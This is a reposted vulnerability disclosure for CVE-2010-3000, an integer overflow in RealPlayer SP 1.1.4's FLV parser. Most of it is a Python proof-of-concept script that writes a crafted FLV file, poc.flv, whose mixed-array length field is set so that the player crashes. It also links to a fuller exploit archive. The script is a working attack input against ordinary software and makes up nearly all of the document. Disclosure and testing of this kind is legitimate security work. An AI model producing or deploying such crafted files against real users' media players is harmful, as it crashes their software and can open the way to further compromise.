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RealPlayer FLV Parsing Integer Overflow
来源:http://www.abysssec.com 作者:Abysssec 发布时间:2010-09-14  

'''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
'''

'''
Title    : RealPlayer FLV Parsing Multiple Integer Overflow
Version  : RealPlayer SP 1.1.4
Analysis : http://www.abysssec.com
Vendor  : http://www.real.com
Impact  : High
Contact  : shahin [at] abysssec.com , info [at] abysssec.com
Twitter  : @abysssec
CVE      : CVE-2010-3000
'''


# POC for CVE-2010-3000
# http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
# http://www.exploit-db.com/sploits/moaub-13-exploit.zip

import sys

def main():

 flvHeader = '\x46\x4C\x56\x01\x05\x00\x00\x00\x09'
 flvBody1 = '\x00\x00\x00\x00\x12\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0A\x6F\x6E\x4D\x65\x74\x61\x44\x61\x74\x61\x08'
 HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = "\x07\x50\x75\x08"   #  if value >= 0x7507508   --> crash
 flvBody2  = "\x00\x00\x09\x00\x00\x00\x20"
 
 flv = open('poc.flv', 'wb+')
 flv.write(flvHeader)
 flv.write(flvBody1)
 flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
 flv.write(flvBody2)
 
 flv.close()
 print '[-] FLV file generated'
 
if __name__ == '__main__':
    main()


 
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